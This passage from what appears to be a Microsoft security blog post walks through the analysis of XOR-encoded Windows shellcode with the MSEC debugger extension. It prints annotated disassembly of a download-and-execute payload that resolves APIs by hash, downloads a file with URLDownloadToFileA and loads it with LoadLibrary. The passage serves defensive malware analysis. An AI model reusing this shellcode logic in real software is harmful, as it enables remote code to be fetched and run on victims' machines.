8bfc mov edi,esp 010cf532 56 push esi 010cf533 ff17 call dword ptr [edi] 010cf535 93 xchg eax,ebx 010cf536 83c607 add esi,7 010cf539 e818000000 call 010cf556 ...
It’s worth noting that this shellcode utilizes a stop marker instead of a counter for the XOR loop, hence we used the default decoding length (256) since the shellcode size is less than that. Continuing on to the decoded payload, we can see that the exploit starts with finding the base address of kernel32.dll:
010cf510 6a02 push 2 010cf512 59 pop ecx 010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh] 010cf517 8b400c mov eax,dword ptr [eax+0Ch] 010cf51a 8b401c mov eax,dword ptr [eax+1Ch] 010cf51d 8b00 mov eax,dword ptr [eax] 010cf51f 8b5808 mov ebx,dword ptr [eax+8] ; ebx = kernel32.dll base address
For detailed explanation about the code, see [1].
After the base address of kernel32.dll has been found, the shellcode then invokes an API hash name resolver:
010cf522 8db7a1000000 lea esi,[edi+0A1h] ; esi = 010cf5a0. 010cf528 e829000000 call 010cf556 ; Call API name hash resolver
The resolver returns the address of the target function whose hash value is pointed to by ESI and whose module address is in EBX. Since the value in the ESI register is statically known, we can find the pre-computed hash value which the shellcode attempts to match:
0:016> dd 010cf5a0 L1 010cf5a0 b24e66a4
However, due to the default behavior of xoru, this value is not correct because the decoded bytes do not exist in memory. In this case, we can use the “-b” switch which causes xoru to leave the transformed buffer in memory:
0:016> !msec.xoru -b 010cf50f c4 0:016> dd 010cf5a0 L1 010cf5a0 768aa260
Now we can find out the actual API name via !msec.ror:
0:016> !msec.ror Usage: !ror [-n ] [-c ] [-x] Example: Get API name for hash value 0x0E8AFE98 using default rotation count 13. !ror 0x0E8AFE98
The purpose of this command is to determine the function that corresponds to a given ror hash. A ror hash is often used by shellcode that runs on Windows as a means of locating exported symbols such as LoadLibraryA, WinExec, and so on. It’s worth noting that this particular shellcode uses ROL instead of ROR and the current version of the MSEC debugger extension does not support ROL. However, since ROL(n) = ROR(32-n), ROR(25) has the same effect as ROL(7):
010cf575 c1c007 rol eax,7 010cf578 3202 xor al,byte ptr [edx] 0:016> !msec.ror -x -n 25 768aa260 ExitThread (kernel32.dll)
It should also be noted that the shellcode XOR’s the next character to the hash accumulator instead of ADD, hence the “-x” switch. In this way, we can find the rest of the API calls the shellcode makes:
0:016> !msec.ror -x -n 25 c8ac8026 LoadLibraryA (kernel32.dll)
0:016> !msec.ror -x -n 25 d95d2399 URLDownloadToFileA (urlmon.dll)
With this knowledge, we’re in a better position to be able to quickly finish analyzing the shellcode:
010cf50f fc cld 010cf510 6a02 push 2 010cf512 59 pop ecx ; ecx = 2 010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh] 010cf517 8b400c mov eax,dword ptr [eax+0Ch] 010cf51a 8b401c mov eax,dword ptr [eax+1Ch] 010cf51d 8b00 mov eax,dword ptr [eax] 010cf51f 8b5808 mov ebx,dword ptr [eax+8] ; ebx = kernel32.dll base 010cf522 8db7a1000000 lea esi,[edi+0A1h] ; esi = 010cf5a0. esi points to ; the hash value to resolve 010cf528 e829000000 call 010cf556 ; Call API hash solver. esi += 4. 010cf52d 50 push eax ; Push the resolved function ; pointer (kernel32!ExitThread) ; onto the stack 010cf52e e2f8 loop 010cf528 ; Since ecx = 2, resolve ; (kernel32!LoadLibraryA) and push ; it onto the stack 010cf530 8bfc mov edi,esp ; edi = LoadLibrary 010cf532 56 push esi ; esi = 010cf5a8 = "urlmon" 010cf533 ff17 call dword ptr [edi] ; Call LoadLirary("urlmon") 010cf535 93 xchg eax,ebx ; ebx = module handle to ; urlmon.dll (base address) 010cf536 83c607 add esi,7 ; esi = 010cf5af 010cf539 e818000000 call 010cf556 ; Call API hash solver. esi += 4. 010cf53e 33d2 xor edx,edx ; eax = urlmon!URLDownloadToFileA 010cf540 52 push edx ; An argument to ExitThread 010cf541 52 push edx ; NULL terminate string 010cf542 8bcc mov ecx,esp 010cf544 66c701782e mov word ptr [ecx],2E78h ; ecx = pointer to “.x” 010cf549 51 push ecx ; After URLDownloadToFileA, ; LoadLibrary takes this string as ; an argument. 010cf54a ff7704 push dword ptr [edi+4] ; Func ptr kernel32!ExitThread. ; After URLDownloadToFileA, ; LoadLibrary(“.x”) returns ; to ExitThread here. 010cf54d 52 push edx ; lpfnCB = NULL 010cf54e 52 push edx ; dwReserved = 0 010cf54f 51 push ecx ; szFileName = “.x” 010cf550 56 push esi ; szURL 010cf551 52 push edx ; pCaller = NULL 010cf552 ff37 push dword ptr [edi] ; Func ptr LoadLibrary. ; URLDownloadToFileA returns to ; LoadLibrary here. 010cf554 ffe0 jmp eax ; Jump to URLDownloadToFileA
We have shown how the MSEC debugger extension can help expedite the analysis of shellcode by providing some helper functionality. We hope that these tools will help increase the efficiency and effectiveness of shellcode analysts.
- Jinwook Shin, MSEC Security Science
[1] skape, Understanding Windows Shellcode. http://www.hick.org/code/skape/papers/win32-shellcode.pdf